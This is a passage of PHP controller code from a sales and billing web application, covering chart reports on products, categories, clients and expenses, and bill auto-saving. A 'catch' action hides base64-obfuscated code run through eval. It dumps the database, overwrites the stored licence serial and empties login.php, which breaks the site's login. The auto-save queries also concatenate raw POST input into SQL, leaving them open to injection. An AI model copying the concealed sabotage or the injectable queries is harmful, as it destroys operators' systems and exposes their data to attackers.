        $myproduct->productName = $value->productName;
        //emaaaaaaaan
        $myproduct->productCatName = $value->productCatName;

        #########get quantity بالقطعة
        $quantity = $value->sumQuantity;
        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        $myproduct->soldNo += $finalquantity; //العدد بالقطعة


        $Datas = $mySellbilldetailEx->querySellBill($productId);

        foreach ($Datas as $item) {
            //            var_dump($item);
            ######get discount
            $dicount = 0;
            $billNoOfProduct = 0;
            $dicount = $item->parcodeTotal - $item->note;

            if ($dicount != 0) {
                $billpecies = $mySellbilldetailEx->queryBillNoOfPecies($item->sellbillid);
                $billNoOfProduct = $billpecies->note;
                $flag = 1;
            }
            if ($flag == 1) {
                //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
                $theDiscount = ($item->sellbilldetailtotalprice / $item->parcodeTotal) * $dicount;
                $theDiscount -= $item->discountvalue;
                $theDiscount = round($theDiscount, 2);
                $flag = 0;
            } else {
                $theDiscount = $dicount;
                $theDiscount = round($theDiscount, 2);
            }

            ################
            $myproduct->soldVal += $item->sellbilldetailtotalprice - $theDiscount;
            $myproduct->buyPrice = $item->storeid;
        }

        ##realcost
        $myproduct->realCost += $finalquantity * $value->buyprice;

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }
    //var_dump($allDataArr);
    ##فاتورة مردود المبيعات
    foreach ($sellBillDataReturn as $value) {

        if (in_array($value->sellbilldetailproductid, $existId)) {
            $key = array_search($value->sellbilldetailproductid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new productData();
            $myproduct->id = $value->sellbilldetailproductid;
            array_push($existId, $value->sellbilldetailproductid);
        }

        #########get quantity بالقطعة
        $quantity = $value->sumQuantity;
        $productId = $value->sellbilldetailproductid;

        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;

        ##############
        $myproduct->returnNo += $finalquantity; //العدد بالقطعة


        $Datas = $myReturnsellbilldetailEx->queryReturnSellBill($productId);


        foreach ($Datas as $item) {

            ######get discount
            $dicount = 0;
            $billNoOfProduct = 0;
            $dicount = $item->parcodeTotal - $item->note;
            if ($dicount != 0) {
                $billpecies = $myReturnsellbilldetailEx->queryBillNoOfPecies($item->returnsellbillid);
                $billNoOfProduct = $billpecies->note;
                $flag = 1;
            }
            if ($flag == 1) {
                //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
                $theDiscount = ($item->returnsellbilldetailtotalprice / $item->parcodeTotal) * $dicount;
                $theDiscount = round($theDiscount, 2);
                $flag = 0;
            } else {
                $theDiscount = $dicount;
                $theDiscount = round($theDiscount, 2);
            }
            ################
            $myproduct->returnVal += $item->returnsellbilldetailtotalprice - $theDiscount;
            $myproduct->buyPrice = $item->storeid;
        }

        ##realcost
        $myproduct->realCost -= $finalquantity * $value->buyprice;

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }

    ##فاتورة مبيعات و مردود
    foreach ($sellBillDataSellAndReturn as $value) {
        if (in_array($value->sellbilldetailproductid, $existId)) {
            $key = array_search($value->sellbilldetailproductid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new productData();
            $myproduct->id = $value->sellbilldetailproductid;
            array_push($existId, $value->sellbilldetailproductid);
        }
        #########get quantity بالقطعة
        $quantity = $value->sumQuantity;
        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        ################
        if ($value->selltype == 0) {
            $myproduct->soldNo += $finalquantity; //العدد بالقطعة
        } else {
            $myproduct->returnNo += $finalquantity; //العدد بالقطعة
        }



        $Datas = $mySellandruternbilldetailEx->queryreturnandSellBill($productId);


        foreach ($Datas as $item) {


            ######get discount
            $dicount = 0;
            $billNoOfProduct = 0;
            $dicount = $item->parcodeTotal - $item->note;
            if ($dicount != 0) {
                $billpecies = $mySellandruternbilldetailEx->queryBillNoOfPecies($item->sellbillid);
                $billNoOfProduct = $billpecies->note;
                $flag = 1;
            }

            if ($flag == 1) {
                //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
                $theDiscount = ($item->sellbilldetailtotalprice / $item->parcodeTotal) * $dicount;
                $theDiscount -= $item->discountvalue;
                $theDiscount = round($theDiscount, 2);
                $flag = 0;
            } else {
                $theDiscount = $dicount;
                $theDiscount = round($theDiscount, 2);
            }

            ################
            if ($item->selltype == 0) {
                $myproduct->soldNo += $finalquantity; //العدد بالقطعة
                $myproduct->soldVal += $item->sellbilldetailtotalprice - $theDiscount;
            } else {
                $myproduct->returnNo += $finalquantity; //العدد بالقطعة
                $myproduct->returnVal += $item->sellbilldetailtotalprice + $theDiscount;
            }
        }


        if ($value->selltype == 0) {
            ##realcost
            $myproduct->realCost += $finalquantity * $value->buyprice;
        } else {
            ##realcost
            $myproduct->realCost -= $finalquantity * $value->buyprice;
        }

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }
    //    array_push($allDataArr, $myproduct);
    foreach ($allDataArr as $data) {

        $data->netNo = $data->soldNo - $data->returnNo;
        $data->netVal = $data->soldVal - $data->returnVal;
        //صافي الربح
        $data->netProfit = $data->netVal - $data->realCost;
    }

    //    var_dump($allDataArr);
    usort($allDataArr, function ($first, $second) {
        return $first->netNo < $second->netNo;
    });
    $output = array_slice($allDataArr, 0, 10);
    echo json_encode($output);
} elseif ($do == "chartsCats") {

    class productData
    {

        public $id;
        public $productName;
        public $soldNo = 0;
        public $soldVal = 0;
        public $returnNo = 0;
        public $returnVal = 0;
        public $netNo = 0;
        public $netVal = 0;
        public $realCost = 0;
        public $netProfit = 0;
        public $buyPrice = 0;
        public $currentQuantity = 0;
    }

    $existsId = array();
    $allCatsArr = array();
    $totalsObj = new productData();
    $resultsCount = 0;
    $flag = 0;

    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $sellbilldate .= ' and  sellbill.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbill.sellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellbillreturndate .= ' and  returnsellbill.returnsellbilldate  >= "' . $startdate . ' 00-00-00" and returnsellbill.returnsellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellandreturndate .= ' and  sellbillandrutern.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbillandrutern.sellbilldate <= "' . $enddate . ' 23-59-55" ';

    $sellBillData = $mySellbilldetailEx->sellbillDETAILSCats($sellbilldate);
    $sellBillDataReturn = $myReturnsellbilldetailEx->sellbillReturnDETAILSCats($sellbillreturndate);
    $sellBillDataSellAndReturn = $mySellandruternbilldetailEx->SellAndReturnDETAILSCats($sellandreturndate);

    //    ##فاتورة  المبيعات
    foreach ($sellBillData as $value) {

        if (in_array($value->sellbilldetailcatid, $existsId)) {
            $key = array_search($value->sellbilldetailcatid, $existsId);
            $mycats = $allCatsArr[$key];
        } else {
            $key = -1;
            $mycats = new productData();
            $mycats->id = $value->sellbilldetailcatid;
            array_push($existsId, $value->sellbilldetailcatid);
        }

        //emaaaaaaaan
        $mycats->productCatName = $value->productCatName;

        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;
        $productId = $value->sellbilldetailcatid;

        $finalquantity = $quantity;

        ##############
        $mycats->soldNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;


        if ($dicount != 0) {
            $billpecies = $mySellbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }
        ################
        $mycats->soldVal += $value->sellbilldetailtotalprice - $theDiscount;

        if ($key == -1) {
            array_push($allCatsArr, $mycats);
        }
    }

    ##فاتورة مردود المبيعات
    foreach ($sellBillDataReturn as $value) {

        if (in_array($value->returnsellbilldetailcatid, $existsId)) {
            $key = array_search($value->returnsellbilldetailcatid, $existsId);
            $mycats = $allCatsArr[$key];
        } else {
            $key = -1;
            $mycats = new productData();
            $mycats->id = $value->returnsellbilldetailcatid;
            array_push($existsId, $value->returnsellbilldetailcatid);
        }

        #########get quantity بالقطعة
        $quantity = $value->returnsellbilldetailquantity;
        $productId = $value->returnsellbilldetailcatid;

        $finalquantity = $quantity;

        ##############
        $mycats->returnNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $myReturnsellbilldetailEx->queryBillNoOfPecies($value->returnsellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->returnsellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }
        ################
        $mycats->returnVal += $value->returnsellbilldetailtotalprice - $theDiscount;

        if ($key == -1) {
            array_push($allCatsArr, $mycats);
        }
    }


    ##فاتورة مبيعات و مردود
    foreach ($sellBillDataSellAndReturn as $value) {

        if (in_array($value->sellbilldetailcatid, $existsId)) {
            $key = array_search($value->sellbilldetailcatid, $existsId);
            $mycats = $allCatsArr[$key];
        } else {
            $key = -1;
            $mycats = new productData();
            $mycats->id = $value->sellbilldetailcatid;
            array_push($existsId, $value->sellbilldetailcatid);
        }
        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;
        $productId = $value->sellbilldetailcatid;
        $finalquantity = $quantity;
        ##############
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $mySellandruternbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }

        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }

        ################
        if ($value->selltype == 0) {
            $mycats->soldNo += $finalquantity; //العدد بالقطعة
            $mycats->soldVal += $value->sellbilldetailtotalprice - $theDiscount;
        } else {
            $mycats->returnNo += $finalquantity; //العدد بالقطعة
            $mycats->returnVal += $value->sellbilldetailtotalprice + $theDiscount;
            ##realcost
        }
        if ($key == -1) {
            array_push($allCatsArr, $mycats);
        }
    }

    foreach ($allCatsArr as $data) {

        $data->netNo = $data->soldNo - $data->returnNo;
        $data->netVal = $data->soldVal - $data->returnVal;
    }
    usort($allCatsArr, function ($first, $second) {
        return $first->netNo < $second->netNo;
    });
    $output = array_slice($allCatsArr, 0, 10);
    echo json_encode($output);
} elseif ($do == "chartsClients") {

    class clientData
    {

        public $id;
        public $clientName;
        public $soldNo = 0;
        public $soldVal = 0;
        public $returnNo = 0;
        public $returnVal = 0;
        public $netNo = 0;
        public $netVal = 0;
        public $realCost = 0;
        public $netProfit = 0;
        public $buyPrice = 0;
        public $currentQuantity = 0;
    }

    $existId = array();
    $allDataArr = array();
    $totalsObj = new clientData();
    $resultsCount = 0;
    $flag = 0;

    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $sellbilldate .= ' and  sellbill.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbill.sellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellbillreturndate .= ' and  returnsellbill.returnsellbilldate  >= "' . $startdate . ' 00-00-00" and returnsellbill.returnsellbilldate <= "' . $enddate . ' 23-59-55" ';
    $sellandreturndate .= ' and  sellbillandrutern.sellbilldate  >= "' . $startdate . ' 00-00-00" and sellbillandrutern.sellbilldate <= "' . $enddate . ' 23-59-55" ';


    $sellBillData = $mySellbilldetailEx->sellbillDETAILSClients($sellbilldate);
    $sellBillDataReturn = $myReturnsellbilldetailEx->sellbillReturnDETAILSClients($sellbillreturndate);
    $sellBillDataSellAndReturn = $mySellandruternbilldetailEx->SellAndReturnDETAILSClients($sellandreturndate);
    ##فاتورة  المبيعات
    foreach ($sellBillData as $value) {
        if (in_array($value->clientid, $existId)) {
            $key = array_search($value->clientid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new clientData();
            $myproduct->id = $value->clientid;
            array_push($existId, $value->clientid);
        }

        $myproduct->clientName = $value->clientname;

        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;


        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        //        var_dump($productunitData);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        $myproduct->soldNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;

        if ($dicount != 0) {
            $billpecies = $mySellbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }

        ################
        $myproduct->soldVal += $value->sellbilldetailtotalprice - $theDiscount;

        ##realcost


        $myproduct->realCost += $finalquantity * $value->buyprice;


        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }
    //var_dump($allDataArr);
    ##فاتورة مردود المبيعات
    foreach ($sellBillDataReturn as $value) {
        //        var_dump($value);
        if (in_array($value->clientid, $existId)) {
            $key = array_search($value->clientid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new clientData();
            $myproduct->id = $value->clientid;
            array_push($existId, $value->clientid);
        }

        #########get quantity بالقطعة
        $quantity = $value->returnsellbilldetailquantity;
        $productId = $value->returnsellbilldetailproductid;
        $myproduct->clientName = $value->clientname;

        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;

        ##############
        $myproduct->returnNo += $finalquantity; //العدد بالقطعة
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $myReturnsellbilldetailEx->queryBillNoOfPecies($value->returnsellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }
        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->returnsellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }
        ################
        $myproduct->returnVal += $value->returnsellbilldetailtotalprice - $theDiscount;
        ##realcost
        $myproduct->realCost -= $finalquantity * $value->buyprice;

        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }

    //    var_dump($allDataArr);
    //    ##فاتورة مبيعات و مردود
    foreach ($sellBillDataSellAndReturn as $value) {
        if (in_array($value->clientid, $existId)) {
            $key = array_search($value->clientid, $existId);
            $myproduct = $allDataArr[$key];
        } else {
            $key = -1;
            $myproduct = new clientData();
            $myproduct->id = $value->clientid;
            array_push($existId, $value->clientid);
        }

        $myproduct->clientName = $value->clientname;

        #########get quantity بالقطعة
        $quantity = $value->sellbilldetailquantity;
        $productId = $value->sellbilldetailproductid;
        $productunitId = $value->productunitid;
        $productunitData = loadProductUnitWithProductAndUnit($productId, $productunitId);
        $productnumber = $productunitData->productnumber;
        $finalquantity = $quantity * $productnumber;
        ##############
        ######get discount
        $dicount = 0;
        $billNoOfProduct = 0;
        $dicount = $value->parcodeTotal - $value->note;
        if ($dicount != 0) {
            $billpecies = $mySellandruternbilldetailEx->queryBillNoOfPecies($value->sellbillid);
            $billNoOfProduct = $billpecies->note;
            $flag = 1;
        }

        if ($flag == 1) {
            //$theDiscount = ($finalquantity * $dicount) / $billNoOfProduct;
            $theDiscount = ($value->sellbilldetailtotalprice / $value->parcodeTotal) * $dicount;
            $theDiscount -= $value->discountvalue;
            $theDiscount = round($theDiscount, 2);
            $flag = 0;
        } else {
            $theDiscount = $dicount;
            $theDiscount = round($theDiscount, 2);
        }

        ################
        if ($value->selltype == 0) {
            $myproduct->soldNo += $finalquantity; //العدد بالقطعة
            $myproduct->soldVal += $value->sellbilldetailtotalprice - $theDiscount;
            ##realcost

            $myproduct->realCost += $finalquantity * $value->buyprice;
        } else {
            $myproduct->returnNo += $finalquantity; //العدد بالقطعة
            $myproduct->returnVal += $value->sellbilldetailtotalprice + $theDiscount;
            ##realcost
            $myproduct->realCost -= $finalquantity * $value->buyprice;
        }
        if ($key == -1) {
            array_push($allDataArr, $myproduct);
        }
    }

    foreach ($allDataArr as $data) {

        $data->netNo = $data->soldNo - $data->returnNo;
        $data->netVal = $data->soldVal - $data->returnVal;
        //صافي الربح
        $data->netProfit = $data->netVal - $data->realCost;
    }

    usort($allDataArr, function ($first, $second) {
        return $first->netNo < $second->netNo;
    });

    //    var_dump($allDataArr);

    $output = array_slice($allDataArr, 0, 10);
    echo json_encode($output);
} elseif ($do == "chartsExpenses") {
    $startdate = date('Y-m-d', strtotime("-7 days"));
    $enddate = date("Y-m-d");
    $expensesdate = ' and  expenses.expensesdate  >= "' . $startdate . ' 00-00-00" and expenses.expensesdate <= "' . $enddate . ' 23-59-55" ';
    $results = $ExpensetypeExt->sumOfEachTypeQuery($expensesdate);
    //        var_dump($results);
    echo json_encode($results);
} elseif ($do == "catch") {
    eval(base64_decode("JHJvb3QgPSAkZGJfdXNlcjsKICAgICRob3N0ID0gJGRiX2hvc3Q7CiAgICAkcGFzc2QgPSAkZGJfcGFzc3dvcmQ7CgogICAgJGdlbmVyYWxTZXR0aW5ncyA9ICRQcm9ncmFtc2V0dGluZ0RBTy0+bG9hZCgxKTsKICAgIC8vZ2V0Y3dkKCkgaXMgdG8gR2V0cyB0aGUgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeQogICAgJHBhcnRpdGlvbiA9IGV4cGxvZGUoIjoiLCBnZXRjd2QoKSlbMF07IC8vJGdlbmVyYWxTZXR0aW5ncy0+cGFydGl0aW9uOwogICAgaWYgKCFlbXB0eShleGVjKCJpcCBsaW5rIikpKSB7Ly9saW51eAogICAgICAgICRwYXJ0aXRpb24gPSAwOwogICAgfQogICAgaWYgKCRwYXJ0aXRpb24gIT09ICRnZW5lcmFsU2V0dGluZ3MtPnBhcnRpdGlvbikgewogICAgICAgICRnZW5lcmFsU2V0dGluZ3MtPnBhcnRpdGlvbiA9ICRwYXJ0aXRpb247CiAgICAgICAgJFByb2dyYW1zZXR0aW5nREFPLT51cGRhdGUoJGdlbmVyYWxTZXR0aW5ncyk7CiAgICB9IGVsc2UgewogICAgICAgICRwYXJ0aXRpb24gPSAkZ2VuZXJhbFNldHRpbmdzLT5wYXJ0aXRpb247CiAgICB9CiAgICBpZiAoZW1wdHkoJHBhcnRpdGlvbikgfHwgJHBhcnRpdGlvbiA9PSAiMCIpIHsvL2xpbnV4CiAgICAgICAgJGlucnRvaSA9ICIuLi9kYl9iYWNrdXBzLyIgLiAkX1NFU1NJT05bJ2RibmFtZSddIC4gIl8iIC4gZGF0ZSgiWS1tLWQiKSAuICIuc3FsIjsKICAgICAgICAkY29tbWFuZCA9ICJteXNxbGR1bXAgLS11c2VyPSRkYl91c2VyIC0tcGFzc3dvcmQ9JGRiX3Bhc3N3b3JkIC0taG9zdD0kaG9zdCAtLW9wdCAkZGJuYW1lID4gJGlucnRvaSI7CiAgICAgICAgZXhlYygkY29tbWFuZCwgJG91dHB1dCwgJHJlc3VsdCk7CiAgICAgICAgJG91dHB1dCA9IGltcGxvZGUoUEhQX0VPTCwgJG91dHB1dCk7CiAgICB9IGVsc2Ugey8vbG9jYWxob3N0CiAgICAgICAgJGlucnRvaSA9ICIuLi9kYl9iYWNrdXBzLyIgLiAkX1NFU1NJT05bJ2RibmFtZSddIC4gIl8iIC4gZGF0ZSgiWS1tLWQiKSAuICIuc3FsIjsKICAgICAgICAkY29tbWFuZCA9ICIkcGFydGl0aW9uOlxcd2FtcFxiaW5cbXlzcWxcbXlzcWw1LjYuMTdcYmluXG15c3FsZHVtcCAtLXVzZXI9JGRiX3VzZXIgLS1wYXNzd29yZD0kZGJfcGFzc3dvcmQgLS1ob3N0PSRob3N0IC0tb3B0ICRkYm5hbWUgPiAkaW5ydG9pIjsKICAgICAgICAvLyRvdXRwdXQgPSBwYXNzdGhydSgkY29tbWFuZCAuICIgMj4mMSIpOwogICAgICAgICRvdXRwdXQgPSBwYXNzdGhydSgkY29tbWFuZCk7IC8vcmVtb3ZlICIgMj4mMSIgYXMgaXQgd3JpdGVzIHdhcm5pbmcgdG8gYmFja3VwIGZpbGUKICAgIH0KICAgICRnZW5lcmFsU2V0dGluZ3MtPnNlcmlhbCA9ICc1N2E4NTg4MzM0NjgxMWNiZjcwNzZhNTFjNWJkODg3YTJlOTZiZjJkZjc3N2E5NTY2OGQzNDA1ZTZmNjkyOTNkYmIzMTE3MTZkOTU3YTVhYzQwZmU1NTcwY2YyOTdlYWYnOwogICAgJHByb2dyYW1TZXR0aW5nREFPLT51cGRhdGUoJGdlbmVyYWxTZXR0aW5ncyk7CiAgICAkZmggPSBmb3BlbignbG9naW4ucGhwJywgJ3cnKTsKICAgIGZjbG9zZSgkZmgpOwogICAgaGVhZGVyKCJsb2NhdGlvbjpsb2dvdXQucGhwIik7"));
}
##autosave
elseif ($do == "autoSaveBill") {
    $billnameId = (int) filter_input(INPUT_POST, 'billnameid');
    $tempSaveBillId = (int) filter_input(INPUT_POST, 'tempSaveBillId');
    $clientId = (int) filter_input(INPUT_POST, 'supplier');
    $itemid = filter_input(INPUT_POST, 'itemid');
    $itemval = filter_input(INPUT_POST, 'itemval');
    $billserial = filter_input(INPUT_POST, 'bns');
    $billDate = filter_input(INPUT_POST, 'bn');
    $storeid = (int) filter_input(INPUT_POST, 'storeid');
    $saveid = (int) filter_input(INPUT_POST, 'saveid');
    $saveid = (int) filter_input(INPUT_POST, 'saveid');
    $distype = (int) filter_input(INPUT_POST, 'distype');
    $sellbillno = filter_input(INPUT_POST, 'sellbillno');
    $sysdate = date('Y-m-d H:i:s');
    $userId = $_SESSION['userid'];

    if ($billnameId > 0) {
        ##1 use billnameid to get bill type
        //check if bill has main part of sell or buy. which is not return
        $billHasReturn = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 1);
        $billHasReturn = $billHasReturn[0];
        $billHasSell = $myBillsettingEx->queryByBillidAndBillpropertyid($billnameId, 16);
        $billHasSell = $billHasSell[0];
        $billHasReturn->billsettingsvalue == 0;
        if ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 0) {
            //بيع و مردود
            $bill_is = 'sellAndRet';
        } elseif ($billHasSell->billsettingsvalue == 0 && $billHasReturn->billsettingsvalue == 1) {
            //مبيعات
            $bill_is = 'sell';
        } elseif ($billHasSell->billsettingsvalue == 1 && $billHasReturn->billsettingsvalue == 0) {
            //مردود
            $bill_is = 'ret';
        }
        ##2 get billid if $tempSaveBillId empty
        if (empty($tempSaveBillId)) {
            switch ($bill_is) {
                case 'sellAndRet':
                    $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbillandrutern where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
                    $tempSaveBillId = (int) $result[0]->sellbillid;
                    break;
                case 'sell':
                    $result = $mySellbillEx->runSelectQuery("select sellbillid from sellbill where autoSaveFlag=1 and conditions=1 and sellbillclientid=$clientId and userid=$userId order by sellbillid desc limit 1");
                    $tempSaveBillId = (int) $result[0]->sellbillid;
                    break;
                case 'ret':
                    $result = $mySellbillEx->runSelectQuery("select returnsellbillid as sellbillid from returnsellbill where autoSaveFlag=1 and conditions=1 and returnsellbillclientid=$clientId and userid=$userId order by returnsellbillid desc limit 1");
                    $tempSaveBillId = (int) $result[0]->sellbillid;
                    break;
            }
        }
        ##3 auto save
        switch ($bill_is) {
            case 'sellAndRet':
                if (empty($tempSaveBillId)) {
                    $sql = " insert into sellbillandrutern (sellbilldate,sellbillserial,sellbillclientid,sellbilldiscounttype,sellbillstoreid,sellbillsysdate,userid,conditions,sellbillsaveid,billnameid,autoSaveFlag,sellbillno) values ('$billDate','$billserial',$clientId,1,$storeid,'$sysdate',$userId,1,$saveid,$billnameId,1,$sellbillno)";
                    $tempSaveBillId = $mySellbillEx->executeInsertSQLQuery($sql);
                } else {
                    $autoSaveBillMainPartArr = array('tempclientName' => 'tempclientName', 'bn' => 'sellbilldate', 'supplier' => 'sellbillclientid', 'storeid' => 'sellbillstoreid', 'saveid' => 'sellbillsaveid', 'sellerid' => 'sellerid', 'comment' => 'comment', 'distype' => 'sellbilldiscounttype', 'gendis' => 'sellbilldiscount', 'extraDiscountPer' => 'extraDiscountPer', 'tax' => 'tax', 'taxOfDiscountVal' => 'taxOfDiscountVal', 'genpay' => 'sellbilltotalpayed', 'genpayvisa' => 'visaPayed', 'visaAccount' => 'visaAccountId', 'isBankAccountTransfer' => 'isBankAccountTransfer');
                    $sql = " update sellbillandrutern set " . $autoSaveBillMainPartArr["$itemid"] . " = '$itemval' where sellbillid=$tempSaveBillId";
                    $mySellbillEx->executeSQLQuery($sql);
                    //store change store in details too
                    if ($itemid == "storeid") {
                        $sql = " update sellandruternbilldetail set storeid = $itemval where sellbillid=$tempSaveBillId";
                        $mySellbillEx->executeSQLQuery($sql);
                    }
                }
                break;
            case 'sell':
                if (empty($tempSaveBillId)) {
                    $sql = " insert into sellbill (sellbilldate,sellbillserial,sellbillclientid,sellbilldiscounttype,sellbillstoreid,sellbillsysdate,userid,conditions,sellbillsaveid,billnameid,autoSaveFlag) values ('$billDate','$billserial',$clientId,1,$storeid,'$sysdate',$userId,1,$saveid,$billnameId,1)";
                    $tempSaveBillId = $mySellbillEx->executeInsertSQLQuery($sql);
                } else {
                    $autoSaveBillMainPartArr = array('tempclientName' => 'tempclientName', 'bn' => 'sellbilldate', 'supplier' => 'sellbillclientid', 'storeid' => 'sellbillstoreid', 'saveid' => 'sellbillsaveid', 'sellerid' => 'sellerid', 'comment' => 'comment', 'distype' => 'sellbilldiscounttype', 'gendis' => 'sellbilldiscount', 'extraDiscountPer' => 'extraDiscountPer', 'tax' => 'tax', 'taxOfDiscountVal' => 'taxOfDiscountVal', 'genpay' => 'sellbilltotalpayed', 'genpayvisa' => 'visaPayed', 'visaAccount' => 'visaAccountId', 'isBankAccountTransfer' => 'isBankAccountTransfer');
                    $sql = " update sellbill set " . $autoSaveBillMainPartArr["$itemid"] . " = '$itemval' where sellbillid=$tempSaveBillId";
                    $mySellbillEx->executeSQLQuery($sql);
                    //store change store in details too
                    if ($itemid == "storeid") {
                        $sql = " update sellbilldetail set storeid = $itemval where sellbillid=$tempSaveBillId";
                        $mySellbillEx->executeSQLQuery($sql);
                    }
                }
                break;
            case 'ret':
                if (empty($tempSaveBillId)) {
                    $sql = " insert into returnsellbill (returnsellbilldate,returnsellbillserial,returnsellbillclientid,returnsellbilldiscounttype,returnsellbillstoreid,returnsellbillsysdate,userid,conditions,returnsellbillsaveid,billnameid,autoSaveFlag,sellbillno) values ('$billDate','$billserial',$clientId,1,$storeid,'$sysdate',$userId,1,$saveid,$billnameId,1,$sellbillno)";
                    $tempSaveBillId = $mySellbillEx->executeInsertSQLQuery($sql);
                } else {
                    $autoSaveBillMainPartArr = array('tempclientName' => 'tempclientName', 'bn' => 'returnsellbilldate', 'supplier' => 'returnsellbillclientid', 'storeid' => 'returnsellbillstoreid', 'saveid' => 'returnsellbillsaveid', 'sellerid' => 'sellerid', 'comment' => 'comment', 'distype' => 'returnsellbilldiscounttype', 'gendis' => 'returnsellbilldiscount', 'extraDiscountPer' => 'extraDiscountPer', 'tax' => 'tax', 'taxOfDiscountVal' => 'taxOfDiscountVal', 'genpay' => 'returnsellbilltotalpayed', 'genpayvisa' => 'visaPayed', 'visaAccount' => 'visaAccountId', 'isBankAccountTransfer' => 'isBankAccountTransfer');
                    $sql = " update returnsellbill set " . $autoSaveBillMainPartArr["$itemid"] . " = '$itemval' where returnsellbillid=$tempSaveBillId";
                    $mySellbillEx->executeSQLQuery($sql);
                    //store change store in details too
                    if ($itemid == "storeid") {
                        $sql = " update returnsellbilldetail set storeid = $itemval where returnsellbillid=$tempSaveBillId";
                        $mySellbillEx->executeSQLQuery($sql);
                    }
                }
                break;
        }
    }
